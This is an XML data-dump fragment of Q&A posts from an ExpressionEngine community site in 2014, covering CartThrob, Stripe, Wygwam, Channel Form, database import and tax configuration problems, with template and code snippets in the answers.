  <row Id="21000" PostTypeId="1" AcceptedAnswerId="21025" CreationDate="2014-04-04T14:02:35.050" Score="0" ViewCount="80" Body="&lt;p&gt;I'm using Carthrob + Stripe. I'm using the boilerplate, {gateway_fields} to render my checkout fields. However, I don't see the country select menu. Is this not there by default? I'm attempting to set pricing for international shipping, however, without a country select I can't. Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2014-04-05T15:38:52.370" Title="Carthrob + Stripe International Country" Tags="|cartthrob|shipping|stripe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21001" PostTypeId="1" CreationDate="2014-04-04T14:48:47.497" Score="1" ViewCount="224" Body="&lt;p&gt;I have some images uploaded with a post which I now want to inset in the body text. It is a Wygwam field so I can use the built in integration but is it possible to add a custom class to the images when I do this without having to look at the source? I want to add class=&quot;img-responsive&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1038" LastEditorUserId="55" LastEditDate="2014-04-04T14:58:26.547" LastActivityDate="2014-05-04T21:43:34.843" Title="Add custom class when inserting images in Wygwam field" Tags="|channel-images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21002" PostTypeId="1" AcceptedAnswerId="21087" CreationDate="2014-04-04T15:04:26.427" Score="0" ViewCount="145" Body="&lt;p&gt;Is anyone running EE 2.8.1 and Cartthrob 2.5 getting the multi_add_to_cart_form to work?  It seems to not be posting the values into the cart.  I have gotten the one item add_to_cart_form to work and can see cart entries perfectly when using that tag, but the multi_add_to_cart shows nothing when attempting to view the cart.  Here is my barebones hardcoded attempt template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:multi_add_to_cart_form return=&quot;shopping_cart&quot;}&#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[1]&quot; value=&quot;105&quot; /&amp;gt;&#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[2]&quot; value=&quot;103&quot; /&amp;gt;&#xA;     &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[3]&quot; value=&quot;101&quot; /&amp;gt;&#xA;     &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot; /&amp;gt;&#xA;{/exp:cartthrob:multi_add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried using the multi_add_to_cart_form nested in a {exp:channel:entries} tag pair, but it also does not seem to be posting the entries into the cart:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:multi_add_to_cart_form return=&quot;shopping_cart&quot;}&#xA;     {exp:channel:entries channel=&quot;products&quot; status=&quot;Open&quot;}&#xA;          &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id[{count}]&quot; value=&quot;{entry_id}&quot;&amp;gt;&#xA;     {/exp:channel:entries}&#xA;     &amp;lt;input type=&quot;submit&quot; value=&quot;submit&quot;&amp;gt;&#xA;{/exp:cartthrob:multi_add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd very much appreciate if anyone with CT 2.5 and EE 2.8.1 could confirm if they can get the multi_add_to_cart tag working at all.&lt;/p&gt;&#xA;" OwnerUserId="2842" LastActivityDate="2014-04-08T16:18:04.380" Title="EE 2.8.1 &amp; CartThrob 2.5: multi_add_to_cart_form not working" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21003" PostTypeId="1" CreationDate="2014-04-04T15:49:36.093" Score="1" ViewCount="126" Body="&lt;p&gt;I've got a site in progress that is a redesign of a Wordpress website, and the client was using a WP plugin that allowed users to make a Paypal donation and leave a comment for the donation &quot;wall of recognition.&quot;  I see a few WordPress plugins available with this kind of functionality, but nothing similar for EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there's a way to set this up just using the EE Comments module?  Can I set up a Paypal donate form and somehow send the EE comment with it?  And if the user selects a box for &quot;show my donation amount&quot;, pass that donation amount along with the comment form?  Seems plausible in my head, but it's a bit beyond my comfort zone coding-wise, so before I delve into it too much, wondering if anyone else has a better idea of how to do this!&lt;/p&gt;&#xA;" OwnerUserId="2933" LastActivityDate="2014-05-04T17:43:20.437" Title="Client needs a Paypal donation form with recognition wall - use Comments?" Tags="|paypal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21004" PostTypeId="1" AcceptedAnswerId="21005" CreationDate="2014-04-04T15:51:31.123" Score="1" ViewCount="71" Body="&lt;p&gt;I need to move the javascript block that is used by the channel form module from below my form to the bottom of the page, (after my scripts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's says that if you want to supply jquery yourself you will need to place the script above the form. However doing this has introduced other errors.  Also I'm using my own validation methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to just append the javascript block to the bottom of my page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Zoo Visitor&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="730" LastActivityDate="2014-04-04T16:57:51.313" Title="Move Channel Form Javascript to end of page" Tags="|channel-form|zoo-visitor|2.8|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21005" PostTypeId="2" ParentId="21004" CreationDate="2014-04-04T16:57:51.313" Score="1" Body="&lt;p&gt;Some add-ons / field types in your Channel Form will only work if the JS is included in the head, which is unfortunate, as best-practice dictates your JS should live below the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I worked around this by adding a parameter in my header/footer embeds called &lt;code&gt;js_in_head&lt;/code&gt;. On pages with Channel Forms, I just included my main jQuery include in the header, and not in the footer. A bit silly, but, it worked, and I could move onto the next issue.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-04-04T16:57:51.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21006" PostTypeId="2" ParentId="21003" CreationDate="2014-04-04T17:00:20.307" Score="1" Body="&lt;p&gt;There might be a way to do it with the included Simple Commerce and PayPal; otherwise it would be fairly easy to setup with the Charge add-on, although you'd be using Stripe instead of PayPal.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2014-04-04T17:00:20.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21007" PostTypeId="2" ParentId="21001" CreationDate="2014-04-04T17:36:54.623" Score="1" Body="&lt;p&gt;One approach is to define a custom style for the &quot;Styles&quot; toolbar menu in Wygwam. When the user applies the style (just a couple clicks) Wygwam applies your css class to the images as desired. The class is applied without the user needing to manually edit in source mode. The following snippet would do the trick (&lt;a href=&quot;http://docs.pixelandtonic.com/wygwam/using/style_set.html&quot; rel=&quot;nofollow&quot;&gt;See the docs&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{name:'Responsive Image',element:'img',attributes:{'class': 'img-responsive'}}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The other approach (assuming you want to apply a style to all images in the wygwam field), is to just wrap your Wygwam custom field with a div that you can use as a descendant selector...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;wygwam-field&quot;&amp;gt;&#xA;    {your_wygwam_custom_field}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and then in your CSS, use &lt;code&gt;.wygwam-field img&lt;/code&gt; as your selector instead of &lt;code&gt;.img-responsive&lt;/code&gt;. Again, this only works if you'd consistently want this style applied to &lt;em&gt;all&lt;/em&gt; images in the Wygwam field.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-04-04T20:58:47.953" LastActivityDate="2014-04-04T20:58:47.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21008" PostTypeId="1" AcceptedAnswerId="21014" CreationDate="2014-04-04T17:42:41.093" Score="0" ViewCount="83" Body="&lt;p&gt;Since I upgraded to EE 2.8.1, MX Stop Spammers has stopped working, with the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to undefined method Cp::set_variable() in [path]/third_party/mx_stop_spammers/mcp.mx_stop_spammers.php on line 431&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before this, with 2.7.x, I was getting warnings about deprecated functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a fix, and what's a good alternative for dealing with spam registrations?&lt;/p&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2014-04-04T18:23:08.267" Title="Does MX Stop Spammers no longer work? What's an alternative?" Tags="|registration|spam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21009" PostTypeId="1" AcceptedAnswerId="21012" CreationDate="2014-04-04T17:44:58.993" Score="1" ViewCount="66" Body="&lt;p&gt;Is there any way to pass additional info with Expresso Store order? I would like to have a check box during the checkout process which will indicate to make that order as a gift (requires special wrapping), something similar to &lt;code&gt;accept_terms&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-04T18:11:49.273" Title="Expresso Store - mark order as a gift" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21010" PostTypeId="1" CreationDate="2014-04-04T17:45:50.740" Score="0" ViewCount="62" Body="&lt;p&gt;I have an &quot;Images&quot; Upload Destination where I have specified Maximum Image Width (in pixels) as 1400. But sometimes, I'd guess 50%, the image ends up at 1401. Any idea why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens is a user uploads a file, I constrain the width to 1400 with that setting, then I tell them to go Edit Image / Crop Mode and crop it to 479. (I don't do this automatically because it could result in bad crops.) It's easier if they can make their box at full width then pull it down to 479 rather than carefully setting both x and y.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2014-04-28T16:58:30.330" Title="&quot;Maximum Image Width&quot; in Upload Destination off by 1px sometimes" Tags="|file-uploads|image|crop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21011" PostTypeId="2" ParentId="17590" CreationDate="2014-04-04T18:06:18.823" Score="3" Body="&lt;p&gt;I tried a billion combinations as well. This is how I used it for meta data (functional):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if articles_seo_meta_data:total_rows &amp;gt; 0}&#xA;    {articles_seo_meta_data}&#xA;        {articles_seo_meta_data:meta_title}&#xA;    {/articles_seo_meta_data}&#xA;{if:else}&#xA;    {title}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2934" LastActivityDate="2014-04-04T18:06:18.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21012" PostTypeId="2" ParentId="21009" CreationDate="2014-04-04T18:11:49.273" Score="3" Body="&lt;p&gt;You can use the Custom Order Fields to achieve this. Something as basic as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:custom_order1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would create a text input but you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; value=&quot;yes&quot; name=&quot;custom_order1&quot; /&amp;gt;Is this a gift?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;would allow you to create a checkbox. &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#custom_order_fields&quot; rel=&quot;nofollow&quot;&gt;Full documentation&lt;/a&gt; on custom order fields.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-04-04T18:11:49.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21013" PostTypeId="2" ParentId="21008" CreationDate="2014-04-04T18:15:04.303" Score="2" Body="&lt;p&gt;I personally use &lt;a href=&quot;http://devot-ee.com/add-ons/low-nospam&quot; rel=&quot;nofollow&quot;&gt;Low NoSpam&lt;/a&gt; and have very few spam emails, comments, member registrations come through as a result. I have not upgrade any sites to EE 2.8 yet so I can't speak to if it is currently supported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a bunch of other spam add-ons available &lt;a href=&quot;http://devot-ee.com/search/results?keywords=Spam&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-04-04T18:15:04.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21014" PostTypeId="2" ParentId="21008" CreationDate="2014-04-04T18:23:08.267" Score="3" Body="&lt;p&gt;You can get new version from my &lt;a href=&quot;https://github.com/MaxLazar/mx_stop_spammers&quot; rel=&quot;nofollow&quot;&gt;git repository&lt;/a&gt;. New version is works with EE 2.8.1&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-04-04T18:23:08.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21015" PostTypeId="1" AcceptedAnswerId="21092" CreationDate="2014-04-04T18:51:40.127" Score="1" ViewCount="166" Body="&lt;p&gt;I just downloaded the latest update for Solspace Tag 4.2.6 and immediately received the following error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Fatal error: Call to undefined method stdClass::userdata() in /projects/myproject/system/expressionengine/libraries/Csrf.php on line 391&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reverting back to the previous version (4.2.5) resolved the issue. There is something broken in the update.&lt;/p&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2014-06-23T20:23:13.300" Title="Solspace Tag 4.2.6 Update Broken with EE 2.8.1" Tags="|solspace|solspace-tag|2.8|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21016" PostTypeId="2" ParentId="20975" CreationDate="2014-04-04T20:40:19.470" Score="2" Body="&lt;p&gt;I have updated MyEMMA GitHub code to get working with EE 2.7.x &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display simple subscribe form use tags below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:emma:subscribe} {/exp:emma:subscribe} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More here &lt;a href=&quot;https://github.com/InteractM/integration-emma-expression-engine&quot; rel=&quot;nofollow&quot;&gt;https://github.com/InteractM/integration-emma-expression-engine&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-04-04T20:40:19.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21018" PostTypeId="1" AcceptedAnswerId="21039" CreationDate="2014-04-05T01:17:41.530" Score="1" ViewCount="651" Body="&lt;p&gt;A client asked for some assistance in connecting up some Snippet Sync files and after uploading the files and Submitting the settings I get the following error when I try to load the home page:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Parse error: syntax error, unexpected '}' in expressionengine/libraries/Functions.php(683) : eval()'d code on line 712&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The site is running EE 2.5.5 and I can access the control panel without difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any assistance available on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-04-07T10:32:05.867" Title="PHP error on Function.php" Tags="|php-errors|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21019" PostTypeId="2" ParentId="20945" CreationDate="2014-04-05T02:03:23.307" Score="1" Body="&lt;p&gt;When you are using multiple tax rates, you need to use the &lt;code&gt;{adjustments}&lt;/code&gt; loop to display each of them individually. The &lt;code&gt;{order_tax}&lt;/code&gt; and &lt;code&gt;{item_tax}&lt;/code&gt; variables will only display aggregate taxes so aren't suitable for dealing with multiple taxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Adjustments&quot; in Store are basically extra line items which are not real products (for example: discounts, shipping, and taxes). Each order can have many adjustments to the order total. See the &lt;a href=&quot;https://exp-resso.com/docs/checkout_tag.html#adjustments_loop&quot; rel=&quot;nofollow&quot;&gt;checkout tag adjustments documentation&lt;/a&gt; for more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can loop through the adjustments and display totals for each tax rate in the checkout or order tags like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{adjustments}&#xA;    {if adjustment:type == &quot;tax&quot;}&#xA;        {adjustment:name} ({adjustment:percent}%): {adjustment:amount} &#xA;    {/if}&#xA;{/adjustments}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-04-05T02:03:23.307" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21020" PostTypeId="1" AcceptedAnswerId="21050" CreationDate="2014-04-05T02:19:26.310" Score="1" ViewCount="198" Body="&lt;p&gt;&lt;strong&gt;Here's a weird one.&lt;/strong&gt; I need to set up a dev server, so I'm importing a DB from and existing production EE install. The import proceeds fine until it gets to the exp_stash table. Then I get MySQL error 150. I've tried this on two different servers, but I get the same error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE  `exp_stash` (&#xA;`id` INT( 11 ) UNSIGNED NOT NULL AUTO_INCREMENT ,&#xA;`site_id` INT( 4 ) UNSIGNED NOT NULL DEFAULT  '1',&#xA;`session_id` VARCHAR( 40 ) DEFAULT NULL ,&#xA;`bundle_id` INT( 11 ) UNSIGNED NOT NULL DEFAULT  '1',&#xA;`key_name` VARCHAR( 64 ) NOT NULL ,&#xA;`key_label` VARCHAR( 64 ) DEFAULT NULL ,&#xA;`created` INT( 10 ) UNSIGNED NOT NULL ,&#xA;`expire` INT( 10 ) UNSIGNED NOT NULL DEFAULT  '0',&#xA;`parameters` TEXT,&#xA;PRIMARY KEY (  `id` ) ,&#xA;KEY  `bundle_id` (  `bundle_id` ) ,&#xA;KEY  `key_session` (  `key_name` ,  `session_id` ) ,&#xA;KEY  `key_name` (  `key_name` ) ,&#xA;KEY  `site_id` (  `site_id` ) ,&#xA;CONSTRAINT  `exp_stash_fk` FOREIGN KEY (  `bundle_id` ) REFERENCES    &#xA;`exp_stash_bundles` (  `id` ) ON DELETE CASCADE ON UPDATE CASCADE&#xA;) ENGINE = INNODB DEFAULT CHARSET = utf8 ROW_FORMAT = COMPACT;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The error is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#1005 - Can't create table 'versastu_oakcrk.exp_stash' (errno: 150) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Research shows it has something to do with InnoDB table type/db type, but solution is unknown.&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2014-04-07T16:44:08.627" Title="Problem importing database - import hangs on exp_stash table" Tags="|stash|database|mysql|database-error|database-migrations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21021" PostTypeId="2" ParentId="19795" CreationDate="2014-04-05T03:28:08.067" Score="0" Body="&lt;p&gt;Solspace has a Primary Category add-on, which does allow you to select one of the entry's categories as primary. Then you can always use the primary category in the URL, but the entry is still assigned to other categories as well. This seams simpler than having to resort to tags or some form of relationships for what is essentially assigning multiple categories.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-04-05T03:28:08.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21022" PostTypeId="2" ParentId="15433" CreationDate="2014-04-05T11:45:07.817" Score="1" Body="&lt;p&gt;Get yourself a copy of &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;ifelse&lt;/a&gt; by Croxton - this will evaluate your conditionals but only output the condition that is met. OOB EE conditionals evaluate everything and then displays what is met.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so your code would look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;} &#xA;    {if &quot;{url_title}&quot; == &quot;supports-for-adults&quot;}&#xA;        {exp:stash:set_value name=&quot;support_type&quot; value=&quot;Adults&quot;}&#xA;    {if:elseif &quot;{url_title}&quot; == &quot;supports-for-children&quot;}&#xA;        {exp:stash:set_value name=&quot;support_type&quot; value=&quot;Children&quot;}&#xA;    {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-04-05T11:45:07.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21023" PostTypeId="1" CreationDate="2014-04-05T13:24:57.300" Score="0" ViewCount="772" Body="&lt;p&gt;This happens after I submit a channel form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Database Error Occurred&#xA;&#xA;Error Number: 1054&#xA;Unknown column 'field_id_0' in 'field list'&#xA;SELECT `field_id_0` FROM (`exp_channel_data`) WHERE `channel_id` = '0'&#xA;Filename: fieldtypes/select/ft.select.php&#xA;Line Number: 156&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did not make any updates, just changed some fields.&lt;/p&gt;&#xA;" OwnerUserId="1736" LastActivityDate="2014-09-26T04:59:39.247" Title="Error Number: 1054, Expression Engine 2.7.3" Tags="|error|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21025" PostTypeId="2" ParentId="21000" CreationDate="2014-04-05T15:38:52.370" Score="1" Body="&lt;p&gt;Yes, if you check your CT settings (Cartthrob &gt; Settings &gt; Payments) and you have your gateway set to Stripe you should see an &quot;HTML Template&quot; setting, which if left to Default, will display the HTML generated by the {gateway_fields} tag. It doesn't include a country select. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can copy this code and add it, along with a select tag for your country field, to your template of choice - or set said template right there on that page to continue using the {gateway_fields} tag.&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2014-04-05T15:38:52.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21026" PostTypeId="1" CreationDate="2014-04-05T19:25:41.860" Score="1" ViewCount="206" Body="&lt;p&gt;I can't log out of my site's front end.  When I try to do so, I get the following message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The following errors were encountered&#xA;&#xA;   • You are not authorized to perform this action&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I delete my cookies, then I will be logged out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried all three setting settings for Website Session Type in the Admin section of the Control Panel, clearing the cookies between tests, but I get the same error when I try to log out.&lt;/p&gt;&#xA;" OwnerUserId="1295" LastActivityDate="2014-06-29T03:35:38.030" Title="Can't log out of my site" Tags="|cookies|logout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21027" PostTypeId="1" AcceptedAnswerId="21068" CreationDate="2014-04-05T19:56:55.480" Score="1" ViewCount="223" Body="&lt;p&gt;ExpressionEngine 2.8.1&lt;br /&gt;&#xA;Matrix 2.5.10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Channel Form to allow users to update their own entries on our website. I'm using a Matrix field to allow them to upload documents (mostly PDFs). When the form gets submitted the text cell in the Matrix field saves just fine, but the file cell is not being uploaded or saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the workflow plugin I was using was hijacking file uploads, but it turns out after uninstalling it that file uploads still did not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did see that a similar sounding issue was fixed in the latest version (which I have installed), but the issue is still occurring for me. This same thing happens on Grid fields as well. I have double-checked File Upload permissions and folder permissions. Regular file uploads work fine (I have another field in the entry that just uploads a single file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated to 2.8.1 hoping that there was a bug that was fixed. I've found two places where this is considered a bug, but they've been reported as fixed. For me, this is still happening. I wish there were some error log that could point me in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="2937" LastEditorUserId="2937" LastEditDate="2014-04-08T00:41:53.190" LastActivityDate="2014-04-08T03:49:22.930" Title="Channel Form Matrix File Upload" Tags="|ee2|matrix|channel-form|grid|2.7.0|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21028" PostTypeId="1" CreationDate="2014-04-05T23:24:38.423" Score="0" ViewCount="78" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(document).ready(function() {&#xA;        $('#considerthis').click(function() {&#xA;            var url = $(this.form).attr('action');&#xA;            var data = $(this.form).serialize();&#xA;            $.post(url, data, function() {&#xA;                $('#ycgroup').load('/shop/_cart');&#xA;            });&#xA;            return false;&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this script its accessing url of &lt;code&gt;GET http://localhost/shop/_cart 404 (Not Found)&lt;/code&gt; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;by changing &lt;code&gt;load('./shop/_cart')&lt;/code&gt; like this updating entire page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyway inputs an what i am missing here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sus&lt;/p&gt;&#xA;" OwnerUserId="2870" LastEditorUserId="150" LastEditDate="2014-04-06T03:11:39.313" LastActivityDate="2014-04-06T03:11:39.313" Title="Add to Cart with Ajax loading entire page" Tags="|expresso-store|ajax|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21029" PostTypeId="1" AcceptedAnswerId="21067" CreationDate="2014-04-05T23:50:34.070" Score="0" ViewCount="138" Body="&lt;p&gt;I don't understand what's happening. I'm using the &lt;strong&gt;gwcode categories&lt;/strong&gt; addon to get the category of and entry id, it works well when the entry id is present:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {exp:gwcode_categories group_id=&quot;6&quot; entry_id=&quot;22&quot; depth=&quot;1&quot;}&#xA;                   {cat_name}&#xA;   {/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when i use the &lt;strong&gt;url_title_to_entry_id&lt;/strong&gt; plugin there is a problem:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:gwcode_categories group_id=&quot;6&quot;&#xA;               entry_id=&quot;{exp:url_title_to_entry_id url_title=&quot;{segment_2}&quot;}&#xA;               parse=&quot;inward&quot; depth=&quot;1&quot;}&#xA;&#xA;                         {cat_name}&#xA;&#xA;     {/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The two categories inside the group name (id=6) are displayed instead of the category associated to the entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;{exp:url_title_to_entry_id url_title=&quot;{segment_2}&lt;/strong&gt; used alone display the correct entry id , so i don't understand why all the categories inside the group name are displayed. What could be the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;{exp:url_title_to_entry_id url_title=&quot;{segment_2}&lt;/strong&gt; is not parsing the entry_id, so all the categories are displayed. How to parse a variable entry id, inside the &lt;strong&gt;gwcode categories&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="1918" LastEditDate="2014-04-06T00:09:39.913" LastActivityDate="2014-04-08T01:24:27.333" Title="Gwcode categories and entry id" Tags="|gwcode-categories|entryid|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21030" PostTypeId="1" AcceptedAnswerId="21362" CreationDate="2014-04-06T12:01:48.140" Score="0" ViewCount="120" Body="&lt;p&gt;I have a single tax rate of 10% set up for CartThrob (including shipping which is a flat rate up to $400 then free after that) but the value being output in the cart is incorrect, it's coming out at about 10.6%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought as a stop-gap measure, I could reduce the tax rate a bit so that when CT incorrectly adds a bit more, it would come out at 10%, but no matter what rate I enter, it always comes out wrong and I can never get it to equal 10%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using both tax by location – percentage and with standalone tax database, but the results are the same for both. &lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2014-04-23T02:07:29.547" Title="CartThrob tax being calculated incorrectly" Tags="|cartthrob|tax|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
